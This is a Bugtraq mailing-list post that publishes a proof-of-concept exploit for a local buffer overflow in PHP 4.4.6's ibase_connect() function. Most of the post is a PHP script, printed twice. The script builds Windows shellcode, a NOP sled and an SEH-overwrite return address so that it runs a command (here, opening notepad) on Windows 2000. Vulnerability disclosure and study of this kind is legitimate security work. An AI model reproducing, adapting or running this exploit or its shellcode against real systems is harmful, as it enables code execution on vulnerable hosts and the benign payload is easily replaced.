Threat level definition
Search:
Home
Bugtraq
Vulnerabilities
Mailing Lists
Jobs
Tools
Beta Programs
News
Infocus
Foundations
Microsoft
Unix
IDS
Incidents
Virus
Pen-Test
Firewalls
Columnists
Mailing Lists
Newsletters
Bugtraq
Focus on IDS
Focus on Linux
Focus on Microsoft
Forensics
Pen-test
Security Basics
Vuln Dev
Vulnerabilities
Jobs
Job Opportunities
Resumes
Job Seekers
Employers
Tools
RSS
News
Vulns
Security Research
BugTraq
Back to list
|
Post reply
PHP <= 4.4.6 ibase_connect() local buffer overflow
Mar 15 2007 03:01PM
retrog alice it
<?php
// PHP <= 4.4.6 ibase_connect() & ibase_pconnect() local buffer overflow
// poc exploit
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org
if (!extension_loaded("interbase")){
die("only works with interbase extension ");
}
$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";
$jmp="\xeb\xa1\xff\xeb"; // jmp short
$eip="\x86\xa0\xf8\x77"; // call ebx, ntdll.dll
$____suntzu=str_repeat("A",2676 - strlen($____scode));
$____suntzu.=str_repeat("\x90",190).$____scode.str_repeat("\x90",10).$jm
p.$eip;
ibase_connect($____suntzu);
?>
original url: http://retrogod.altervista.org/php_446_ibase_connect_bof.html
[ reply ]
Privacy Statement
Copyright 2009, SecurityFocus
// PHP <= 4.4.6 ibase_connect() & ibase_pconnect() local buffer overflow
// poc exploit
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org
if (!extension_loaded("interbase")){
die("only works with interbase extension ");
}
$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";
$jmp="\xeb\xa1\xff\xeb"; // jmp short
$eip="\x86\xa0\xf8\x77"; // call ebx, ntdll.dll
$____suntzu=str_repeat("A",2676 - strlen($____scode));
$____suntzu.=str_repeat("\x90",190).$____scode.str_repeat("\x90",10).$jm
p.$eip;
ibase_connect($____suntzu);
?>
original url: http://retrogod.altervista.org/php_446_ibase_connect_bof.html
[ reply ]